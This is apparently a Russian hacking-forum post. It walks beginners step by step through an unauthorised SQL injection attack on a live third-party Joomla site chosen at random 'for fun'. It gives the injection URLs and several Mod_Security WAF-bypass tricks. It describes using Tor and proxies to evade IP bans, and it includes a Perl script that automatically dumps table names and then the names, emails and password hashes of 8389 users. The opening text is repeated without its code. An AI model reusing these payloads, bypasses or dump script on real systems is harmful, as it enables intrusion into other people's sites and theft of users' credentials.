Салют Граждане Товарищи!
Граждане с опытом в области "Web-Pentesting" здесь ничего нового или (даже возможно) полезного не увидят (если только почётать), а вот "Новичкам" можно тормознуть и немного заострить своё внимание (возможно напрячься и дочитать до крайнего символа).
Тема теста\кодинга здорово отвлекает от реального мира, отвлекает\расслабляет и успокаивает, ну и вообще порой просто в прикол...
Поэтому время от времени (бывает с разрывом в два-три года) наступает период обострённого желания ковырнуть какой-нибудь сайтик, или хакнуть чью нибудь вафлю и поиграться с хозяином\пользователем этой точки.
Вот и сейчас как раз наступил такой период, появилось не много свободного времени и мене понадобилось потыкать какой-нибудь очередной сайтик, честно - цели как таковой нет, вот просто от делать нечего, вот просто так.
Выбор пал (пальцем в небо тыкнув) на забугорный (хз чё за ...) "сайт" на распространённом движке Joomla!
Админ натыкавший целую кучу всяких дополнений\модулей, мягко говоря дал борща...
Joomscan был несказанно счастлив при виде своей цели и вывел целую уйму информации:
Сам же обратился к
Всё просто ни сказано просто!
(Надеюсь администрация будет не против ссылки такого вида, если же нет, то можно будет удалить, плодить её не буду.)
Уязвим параметр "id", от сюда и будем плясать...
Банальная кавычка '
И Joomla отвечает
Ещё робот на картинке так гармонично смотрится под музон в наушниках, и прям песенка какая-то (тыц-тыц-туц-туц-тыц....)
Дабы не много сократить тыканий, попробуем group by для того что бы узнать количество колонок:
Отвечает:
Тыкаем явно меньшее количество дабы убедится что количество колонок не больше
Отвечает
Ну разумеется, создав ни большую цепочку с замыкающим tor для конекта ( всё таки не мультики смотрю, и не новости читаю, в наше то время нужно использовать хоть какие-нибудь средства контрацепции...) меня банит один из установленных модулей.
Перезапуск tor, даёт конект и в ответ видим
SELECT COUNT(*) FROM явно указывает что колонок больше, значить двигаемся в сторону увеличения...
ответ
мало
Ответ
много
Много
Много
Мало, но 23 много, значить колонок всё таки 22.
Прикручиваем union select
В ответ видим печалькуЖ
Очередной модуль нас просто радует, будет чуток интересней чем казалось...
Посмотрим что именно фильтрует Mod_Security, воткнём просто UNION
Ответ
Добавим select
Ответ
Ага, значить блокирует конструкцию union select, попробуем воткнуть комментарий
Ответ
Не прокатило!))
Пробуем добавить какую нибудь опцию, дабы разрушить блокируемую конструкцию (all\distinct\distinctrow), подстановка опции "distinct" даёт результат:
Огонь товарищи, втыкаем количество колонок:
И вот он
Он - "временный облом"!
Если память не подводит, где то на "ачате", как то читал пост про WAF, там приводились довольно простые методы обхода, так как зачастую тема с комментарием (/**/,/*!exp*/) обламывается, как раз методы описанные в том посте мне запомнились и довольно часто мною практиковались.
Сделаем подстановку "\N", в PHP\Perl\Python\MYSQL\.... это начало новой строки.
Опа, опачки мы видим страничку, страничку ресурса и на ней те самые циферки
link removed
2,4 - будут выводить нам результаты наших запросов.
Ну что давайте посмотрим версию нашей муськи, хотя бы так для приличия, а вообще для того что бы хотя бы знать как с ней общаться.
5.5.51-38.2 - Это наш друг, ибо с ним можно договориться!)
Попробуем использовать information_schema, для начала спросим сколько БД имеется (начиная с 5 ветки муськи ( если память не подводит) БД с именем information_schema присутствует по умолчанию, она тоже содержит в себе информацию, но не ту которая нам интересна...).
О да, этот мод прям любимчик и с каждым разом нас всё больше и больше радует!
Скорей всего есть фильтрация information_schema, проверим...
count(schema_name) - пропускает, добавим from
Не ругается, добавляем information_schema
Да фильтрация information_schema, стоит попробовать исполняемый комментарий, то есть /*!exp*/
Опачки, циферки...
link removed
Вообще бывают случаи когда исполняемый комментарий не срабатывает, хз по каким..., но такое имеет месту быть, как раз в таких случаях может помочь функция timestamp, она определяет тип строки, в нашем же случае она просто может помочь обломить фильтр.
Так же бываются случаи что и timestamp не спасает и в случае конкретно с information_schema.***** можно попробовать 'e'., то есть сломать фильтруемую конструкцию information_schema.schemata = information_schema 10.e.schemata, к примеру вот такой запрос:
Так же выполнится без ошибок, плюс обойдёт большее количество WAF.
И так 2 БД имеется, значить одна information_schema по умолчанию, и вторая та в которой содержится вся информация которая будет полезной для нас...
Для вывода имени БД необходимо убрать команду count, а для того что бы вывести по порядку все строки будем использовать limit.
Такой запрос выводит нам имя нужной базы данных k***c**d**e**s**ic_jmln1, вот теперь можно выводить имена таблиц (вообже это Joomla и все данные для авторизации храняться в таблице ***_users, *** - это префикс который устанавливается админом при установки движка, и как раз этот префикс нам и нужен, но в принципе лучше иметь полный список таблиц, вдруг будет ещё что то интересное...):
Вывод имени самой первой таблицы!
table_name - просим вывести имя таблицы используя доступ через information_schema
where table_schema=0x64625f6e616d65 - указываем что имя таблицы должно выводится из ДБ по имени 0x64625f6e616d65 ( 64625f6e616d65 - это имя БД зашифрованное в шестнацетиричный код, 0x - это указатель на шестнацетиричный код, он необходим для mysql для исполнения шестнацетиричного кода.), обычно указывать имя БД ни к чему, все имена и так выводятся с используемой движком БД, но внашем случае этот указатель просто необходим (Иначе выводятся имена первой БД).
Давайте узнаем сколько всего таблиц в этой БД, для этого используем count
539 !
Ни - хихи - хило граждане, да это просто мосчь!
Просто не представляю что творилось у этого чела когда он тыкал такое количество модулей, просто жесть!
Тыкать в ручную все имена таблиц это просто не реально.
Напишем простой скрипт на том же perl, он автоматом всё переберёт для нас, тем более что пишется так скрипт за пять минут и не требует ни каких особых знаний, честно говоря я не знаю perl, но пишу для себя скриптики используя cpan или metacpan как справочник, конечно парой этого не достаточно, но в большинстве случаев этого хватает.
Приступим...
Скрипт по сути сама простота, ни чего сложного в нём нет, мб что-то не правильно, мб что-то не красиво\эстетично, главное работает, в остальном....
Я его расписал только в тех местах где необходимо, в остальных случаях думаю и так всё понятно, если нет, то поможет cpan, или metacpan.
Да даже простой справочник perl расскажет всё, стоит только поинтересоваться.
Что то под устал я... ну да ладно продолжим ведь осталось совсем не много.
Вытягиваем имена колонок в указанной таблице, а именно в таблице с именем "w0zk7_users", ибо по идеи именно здесь Joomla хранит авторизационные данные пользователей.
В принципе всё по стандарту, вывод стандартных колонок, по сути здесь можно не озадачиваться, колонки у Joomla стандартные:
Заляпаем самые интересные для нас name,username,email,password, в один запрос и будем уже выводить строки содержащие логины и пароли....
Опачки и вот они данные админа, посмотрим же сколько всего здесь юзверей
8389 - ну конечно ни айс, но в ручную просто замучаешься, воспользуемся тем же самым скриптом и выдернем всё!
В скрипте необходимо только изменить наш запрос:
И вуаля все строки вытягиваются автоматом, остаётся только не много подождать, можно успеть сварить кофейку, выпить чашку, ещё одну и вот оно, оно очучение того что мы тоже что то можем...
P.S. Ребятки что то намутили с JavaScript на форуме и полноценного редактора я не увидел, все BB коды писал попамяти, хз мб где то проявится кривизна.
Граждане с опытом в области "Web-Pentesting" здесь ничего нового или (даже возможно) полезного не увидят (если только почётать), а вот "Новичкам" можно тормознуть и немного заострить своё внимание (возможно напрячься и дочитать до крайнего символа).
Тема теста\кодинга здорово отвлекает от реального мира, отвлекает\расслабляет и успокаивает, ну и вообще порой просто в прикол...
Поэтому время от времени (бывает с разрывом в два-три года) наступает период обострённого желания ковырнуть какой-нибудь сайтик, или хакнуть чью нибудь вафлю и поиграться с хозяином\пользователем этой точки.
Вот и сейчас как раз наступил такой период, появилось не много свободного времени и мене понадобилось потыкать какой-нибудь очередной сайтик, честно - цели как таковой нет, вот просто от делать нечего, вот просто так.
Выбор пал (пальцем в небо тыкнув) на забугорный (хз чё за ...) "сайт" на распространённом движке Joomla!
Админ натыкавший целую кучу всяких дополнений\модулей, мягко говоря дал борща...
Joomscan был несказанно счастлив при виде своей цели и вывел целую уйму информации:
Код:
Jooma! Based Firewall Detection Result
======================================
[!] A Joomla! RS-Firewall (com_rsfirewall/com_firewall) is detected.
[!] The vulnerability probing may be logged and protected.
[!] A Joomla! J-Firewall (com_jfw) is detected.
[!] The vulnerability probing may be logged and protected.
[!] A SecureLive Joomla!(mod_securelive/com_securelive) firewall is detected.
[!] The vulnerability probing may be logged and protected.
[!] A SecureLive Joomla! firewall is detected.
[!] The vulnerability probing may be logged and protected.
[!] FWScript(from firewallscript.com) is likely to be used.
[!] The vulnerability probing may be logged and protected.
[!] A Joomla! security scanner (com_joomscan/com_joomlascan) is detected.
[!] It is likely that webmaster routinely checks insecurities.
[!] A security scanner (com_securityscanner/com_securityscan) is detected.
[!] A Joomla! jSecure Authentication is detected.
[!] You need additional secret key to access /administrator directory
[!] Default is jSecure like /administrator/?jSecure ;)
[!] A Joomla! GuardXT Security Component is detected.
[!] It is likely that webmaster routinely checks for insecurities.
[!] A Joomla! JoomSuite Defender is detected.
[!] The vulnerability probing may be logged and protected.
[!] .htaccess shipped with Joomla! is being deployed for SEO purpose
[!] It contains some defensive mod_rewrite rules
[!] Payloads that contain strings (mosConfig,base64_encode,<script>
GLOBALS,_REQUEST) wil be responsed with 403.
Наверное подумал чувак натыкавший модулей, прям до самой попы...О да чел, при таком количестве всякого барахла тебя точно ни кто ни хакнет, чел ты в полной безопасности!
Сам же обратился к
Ссылка скрыта от гостей
, который по запросу Joomla (
Ссылка скрыта от гостей
) как обычно вывел целую кучу различных направлений, выбор пал на Joomla! Component JO Facebook Gallery v4.5 - SQL Injection
Ссылка скрыта от гостей
Всё просто ни сказано просто!
(Надеюсь администрация будет не против ссылки такого вида, если же нет, то можно будет удалить, плодить её не буду.)
Код:
http://www.k***c**d**e**s**i.com/k**2*5/index.php?option=com_jofacebookgallery&view=category&id=1&Itemid=792
Уязвим параметр "id", от сюда и будем плясать...
Банальная кавычка '
Код:
index.php?option=com_jofacebookgallery&view=category&id=1'&Itemid=792
И Joomla отвечает
Код:
1064
SORRY!
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1 SQL=SELECT * FROM #__jofbpt_category WHERE id=1'
......
Ещё робот на картинке так гармонично смотрится под музон в наушниках, и прям песенка какая-то (тыц-тыц-туц-туц-тыц....)
Дабы не много сократить тыканий, попробуем group by для того что бы узнать количество колонок:
Код:
index.php
?option=com_jofacebookgallery
&view=category
&id=1+group+by+50+--+
&Itemid=792
Отвечает:
Код:
Unknown column '50' in 'group statement' SQL=SELECT * FROM #__jofbpt_category WHERE id=1 group by 50 --
Тыкаем явно меньшее количество дабы убедится что количество колонок не больше
Код:
index.php
?option=com_jofacebookgallery
&view=category
&id=1+group+by+2+--+
&Itemid=792
Код:
Access denied. Your IP address is blacklisted. If you feel this is in error please contact your hosting provider's abuse department.
Ну разумеется, создав ни большую цепочку с замыкающим tor для конекта ( всё таки не мультики смотрю, и не новости читаю, в наше то время нужно использовать хоть какие-нибудь средства контрацепции...) меня банит один из установленных модулей.
Перезапуск tor, даёт конект и в ответ видим
Код:
Unknown column '2' in 'group statement' SQL=SELECT COUNT(*) FROM #__jofbpt_albums WHERE fb_album_id LIKE '421616681303' AND category_id=1 group by 2 -- LIMIT 1
SELECT COUNT(*) FROM явно указывает что колонок больше, значить двигаемся в сторону увеличения...
Код:
index.php
?option=com_jofacebookgallery
&view=category
&id=1+group+by+20+--+
&Itemid=792
ответ
Код:
Unknown column '20' in 'group statement' SQL=SELECT COUNT(*) FROM #__jofbpt_albums WHERE fb_album_id LIKE '421616681303' AND category_id=1 group by 20 -- LIMIT 1
мало
Код:
index.php
?option=com_jofacebookgallery
&view=category
&id=1+group+by+30+--+
&Itemid=792
Ответ
Код:
Unknown column '30' in 'group statement' SQL=SELECT * FROM #__jofbpt_category WHERE id=1 group by 30 --
много
Код:
index.php
?option=com_jofacebookgallery
&view=category
&id=1+group+by+25+--+
&Itemid=792
Много
Код:
index.php
?option=com_jofacebookgallery
&view=category
&id=1+group+by+23+--+
&Itemid=792
Много
Код:
index.php
?option=com_jofacebookgallery
&view=category
&id=1+group+by+22+--+
&Itemid=792
Мало, но 23 много, значить колонок всё таки 22.
Прикручиваем union select
Код:
index.php
?option=com_jofacebookgallery
&view=category
&id=1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22+--+
&Itemid=792
В ответ видим печалькуЖ
Код:
Not Acceptable!
An appropriate representation of the requested resource could not be found on this server. This error was generated by Mod_Security.
Q: W.T.F. bro?
A: This is WAF!
Очередной модуль нас просто радует, будет чуток интересней чем казалось...
Посмотрим что именно фильтрует Mod_Security, воткнём просто UNION
Код:
index.php
?option=com_jofacebookgallery
&view=category
&id=1+union+--+
&Itemid=792
Ответ
Код:
1064
SORRY!
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' at line 1 SQL=SELECT * FROM #__jofbpt_category WHERE id=1 UNION --
Добавим select
Код:
index.php
?option=com_jofacebookgallery
&view=category
&id=1+union+select--+
&Itemid=792
Ответ
Код:
Not Acceptable!
An appropriate representation of the requested resource could not be found on this server. This error was generated by Mod_Security.
Ага, значить блокирует конструкцию union select, попробуем воткнуть комментарий
Код:
index.php
?option=com_jofacebookgallery
&view=category
&id=1+union/**/select--+
&Itemid=792
Ответ
Код:
Not Acceptable!
An appropriate representation of the requested resource could not be found on this server. This error was generated by Mod_Security.
Не прокатило!))
Пробуем добавить какую нибудь опцию, дабы разрушить блокируемую конструкцию (all\distinct\distinctrow), подстановка опции "distinct" даёт результат:
Код:
index.php
?option=com_jofacebookgallery
&view=category
&id=1+union+distinct+select--+
&Itemid=792
Код:
1064
SORRY!
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' at line 1 SQL=SELECT * FROM #__jofbpt_category WHERE id=1 UNION distinct select --
Огонь товарищи, втыкаем количество колонок:
Код:
index.php
?option=com_jofacebookgallery
&view=category
&id=1+union+distinct+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22+--+
&Itemid=792
Код:
Not Acceptable!
An appropriate representation of the requested resource could not be found on this server. This error was generated by Mod_Security.
Если память не подводит, где то на "ачате", как то читал пост про WAF, там приводились довольно простые методы обхода, так как зачастую тема с комментарием (/**/,/*!exp*/) обламывается, как раз методы описанные в том посте мне запомнились и довольно часто мною практиковались.
Сделаем подстановку "\N", в PHP\Perl\Python\MYSQL\.... это начало новой строки.
Код:
index.php
?option=com_jofacebookgallery
&view=category
&id=\Nunion+distinct+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22+--+
&Itemid=792
Опа, опачки мы видим страничку, страничку ресурса и на ней те самые циферки
2,4 - будут выводить нам результаты наших запросов.
Ну что давайте посмотрим версию нашей муськи, хотя бы так для приличия, а вообще для того что бы хотя бы знать как с ней общаться.
Код:
index.php
?option=com_jofacebookgallery
&view=category
&id=\Nunion+distinct+select+1,version(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22+--+
&Itemid=792
5.5.51-38.2 - Это наш друг, ибо с ним можно договориться!)
Попробуем использовать information_schema, для начала спросим сколько БД имеется (начиная с 5 ветки муськи ( если память не подводит) БД с именем information_schema присутствует по умолчанию, она тоже содержит в себе информацию, но не ту которая нам интересна...).
Код:
index.php
?option=com_jofacebookgallery
&view=category
&id=\Nunion+distinct+select+1,count(schema_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22+from+information_schema.schemata+--+
&Itemid=792
Код:
Not Acceptable!
An appropriate representation of the requested resource could not be found on this server. This error was generated by Mod_Security.
О да, этот мод прям любимчик и с каждым разом нас всё больше и больше радует!
Скорей всего есть фильтрация information_schema, проверим...
Код:
index.php
?option=com_jofacebookgallery
&view=category
&id=\Nunion+distinct+select+1,count(schema_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22+--+
&Itemid=792
count(schema_name) - пропускает, добавим from
Код:
index.php
?option=com_jofacebookgallery
&view=category
&id=\Nunion+distinct+select+1,count(schema_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22+from+--+
&Itemid=792
Не ругается, добавляем information_schema
Код:
index.php
?option=com_jofacebookgallery
&view=category
&id=\Nunion+distinct+select+1,count(schema_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22+from+information_schema+--+
&Itemid=792
Код:
Not Acceptable!
An appropriate representation of the requested resource could not be found on this server. This error was generated by Mod_Security.
Да фильтрация information_schema, стоит попробовать исполняемый комментарий, то есть /*!exp*/
Код:
index.php
?option=com_jofacebookgallery
&view=category
&id=\Nunion+distinct+select+1,count(schema_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22+from+/*!information_schema.schemata*/+--+
&Itemid=792
Опачки, циферки...
Вообще бывают случаи когда исполняемый комментарий не срабатывает, хз по каким..., но такое имеет месту быть, как раз в таких случаях может помочь функция timestamp, она определяет тип строки, в нашем же случае она просто может помочь обломить фильтр.
Код:
index.php
?option=com_jofacebookgallery
&view=category
&id=\Nunion+distinct+select+1,count(schema_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22+from+{f information_schema.schemata }+--+
&Itemid=792
Так же бываются случаи что и timestamp не спасает и в случае конкретно с information_schema.***** можно попробовать 'e'., то есть сломать фильтруемую конструкцию information_schema.schemata = information_schema 10.e.schemata, к примеру вот такой запрос:
Код:
index.php?option=com_jofacebookgallery&view=category&id=\Nunion+distinct+select+1,schema_name,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22+from+{f information_schema 111.e.schemata}+--+&Itemid=792
Так же выполнится без ошибок, плюс обойдёт большее количество WAF.
И так 2 БД имеется, значить одна information_schema по умолчанию, и вторая та в которой содержится вся информация которая будет полезной для нас...
Для вывода имени БД необходимо убрать команду count, а для того что бы вывести по порядку все строки будем использовать limit.
Код:
index.php?option=com_jofacebookgallery&view=category&id=\Nunion+distinct+select+1,schema_name,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22+from+{f information_schema 111.e.schemata}+limit+1,1--+&Itemid=792
Такой запрос выводит нам имя нужной базы данных k***c**d**e**s**ic_jmln1, вот теперь можно выводить имена таблиц (вообже это Joomla и все данные для авторизации храняться в таблице ***_users, *** - это префикс который устанавливается админом при установки движка, и как раз этот префикс нам и нужен, но в принципе лучше иметь полный список таблиц, вдруг будет ещё что то интересное...):
Код:
index.php?option=com_jofacebookgallery&view=category&id=\Nunion+distinct+select+1,table_name,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22+from+{f information_schema.tables}+where+table_schema=0x64625f6e616d65+limit+0,1--+&Itemid=792
Вывод имени самой первой таблицы!
table_name - просим вывести имя таблицы используя доступ через information_schema
where table_schema=0x64625f6e616d65 - указываем что имя таблицы должно выводится из ДБ по имени 0x64625f6e616d65 ( 64625f6e616d65 - это имя БД зашифрованное в шестнацетиричный код, 0x - это указатель на шестнацетиричный код, он необходим для mysql для исполнения шестнацетиричного кода.), обычно указывать имя БД ни к чему, все имена и так выводятся с используемой движком БД, но внашем случае этот указатель просто необходим (Иначе выводятся имена первой БД).
Давайте узнаем сколько всего таблиц в этой БД, для этого используем count
Код:
index.php?option=com_jofacebookgallery&view=category&id=\Nunion+distinct+select+1,count(table_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22+from+{f information_schema.tables}+where+table_schema=0x64625f6e616d65+limit+0,1--+&Itemid=792
539 !
Ни - хихи - хило граждане, да это просто мосчь!
Просто не представляю что творилось у этого чела когда он тыкал такое количество модулей, просто жесть!
Тыкать в ручную все имена таблиц это просто не реально.
Напишем простой скрипт на том же perl, он автоматом всё переберёт для нас, тем более что пишется так скрипт за пять минут и не требует ни каких особых знаний, честно говоря я не знаю perl, но пишу для себя скриптики используя cpan или metacpan как справочник, конечно парой этого не достаточно, но в большинстве случаев этого хватает.
Приступим...
Код:
#!/usr/bin/perl
#Можно использовать модуль LWP::Simple для функции get, но можно заюзать и LWP::UserAgent
#LWP::UserAgent - позволяет указать заголовки HTTP(S) запроса, так же позволяет использовать proxy,
# как раз то что нам нужно, для полного счастья можно прикрутить модуль WWW::UserAgent::Random
#он позволит менять заголовок UserAgent в рандомном порядке.
#Подключаем модули
use WWW::UserAgent::Random;
use LWP::UserAgent;
# У кого эти модули не установлены, используем cpan, то есть в терминале cpan WWW::UserAgent::Random
#для удобства сразу нарисуем переменные в которых укажем URL для атаки, proxy который будем юзать,
#файл в который запишем результат ( ибо 539 таблиц )
#и количество таблиц.
#Тем самым в будущем можно будет использовать этот же скрипт указав необходимые данные в переменных.
my $url="http://www.k***c**d**e**s**i.com/k**2*5/index.php
?option=com_jofacebookgallery
&view=category
&id="; # это атакуемый линк, указывать нужно полностью до уязвимого параметра.
my $proxy="socks://proxy:port";# здесь указываем proxy который будем юзать, можно использовать любой в том числе носки, по мне носки лучше(Для юзанья TOR можно указать 'socks://localhost:9050').
my $file='/home/center/k_tables.txt';# Тут полный путь к файлу в котором запишем все имена таблиц
my $numb="539";# Здесь количество таблиц.
for ($xx=0;$xx<$numb;$xx++){ # Оператор for, выполняем действия до достижения указанного условия, в нашем случае пока не выведет все 539 таблиц.
$exploit='\\\\Nunion distinct select+1,concat_ws(table_name,0x43656e74303030,0x43656e74303030),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22+from+{f information_schema.tables}+where+table_schema=0x6b6364657369635f6a6d6c6e31+limit+'.$xx.',1+--+
&Itemid=792';# наш эксплоит которым мы выполняем запросы
#concat_ws(table_name,0x43656e74303030,0x43656e74303030) используем связующий оператор,
# для того что бы приляпать свои разделители, которые в свою очередь упростят парсинг ответа.
# concat_ws - позволяет указывать разделитель при связывании нескольких строк, в качестве этого разделителя мы будем использовать table_name
# Таким образом нам достаточно будет отсечь определённые нами указатели по бокам и получим чистый вывод имени таблицы
#0x43656e74303030 - это как раз и будут наши указатели для отсечения, это "Cent000" зашифрованный в шестнацетиричный код
# В параметре limit будем менять номера строк указав переменную $xx которая будет содержать номер строки.
my $ua = new LWP::UserAgent(agent => rand_ua("windows"));
$ua->proxy([qw(http https)] => $proxy);
my $response = $ua->get($url.$exploit);
$text=$response->decoded_content;
if ($text=~/Cent000/) {
@sp_text=split("Cent000",$text);
$str=@sp_text[1]."\n";
print $str;
}
$str_all=$str_all.$str;
}
open(my $fh, '>', $file);
print $fh $str_all;
close $fh;
print "готово\n";
Скрипт по сути сама простота, ни чего сложного в нём нет, мб что-то не правильно, мб что-то не красиво\эстетично, главное работает, в остальном....
Я его расписал только в тех местах где необходимо, в остальных случаях думаю и так всё понятно, если нет, то поможет cpan, или metacpan.
Да даже простой справочник perl расскажет всё, стоит только поинтересоваться.
Что то под устал я... ну да ладно продолжим ведь осталось совсем не много.
Вытягиваем имена колонок в указанной таблице, а именно в таблице с именем "w0zk7_users", ибо по идеи именно здесь Joomla хранит авторизационные данные пользователей.
Код:
index.php?option=com_jofacebookgallery&view=category&id=\Nunion+distinct+select+1,column_name,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22+from+{f information_schema.columns}+where+table_name=0x77307a6b375f7573657273+limit+0,1--+&Itemid=792
В принципе всё по стандарту, вывод стандартных колонок, по сути здесь можно не озадачиваться, колонки у Joomla стандартные:
Код:
id
name
username
email
password
usertype
block
sendEmail
registerDate
lastvisitDate
activation
params
lastResetTime
resetCount
Заляпаем самые интересные для нас name,username,email,password, в один запрос и будем уже выводить строки содержащие логины и пароли....
Код:
index.php?option=com_jofacebookgallery&view=category&id=\Nunion+distinct+select+1,concat_ws(0x3a,name,username,email,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22+from+w0zk7_users+limit+0,1--+
Опачки и вот они данные админа, посмотрим же сколько всего здесь юзверей
Код:
index.php?option=com_jofacebookgallery&view=category&id=\Nunion+distinct+select+1,count(concat_ws(0x3a,name,username,email,password)),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22+from+w0zk7_users+limit+0,1--+
8389 - ну конечно ни айс, но в ручную просто замучаешься, воспользуемся тем же самым скриптом и выдернем всё!
В скрипте необходимо только изменить наш запрос:
Код:
$exploit='\Nunion distinct select+1,concat_ws(concat_ws(0x3a,id,name,username,email,password),0x43656e74303030,0x43656e74303030),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22+from+w0zk7_users+limit+'.$xx.',1+--+
&Itemid=792';
И вуаля все строки вытягиваются автоматом, остаётся только не много подождать, можно успеть сварить кофейку, выпить чашку, ещё одну и вот оно, оно очучение того что мы тоже что то можем...
P.S. Ребятки что то намутили с JavaScript на форуме и полноценного редактора я не увидел, все BB коды писал попамяти, хз мб где то проявится кривизна.
Вложения
Последнее редактирование: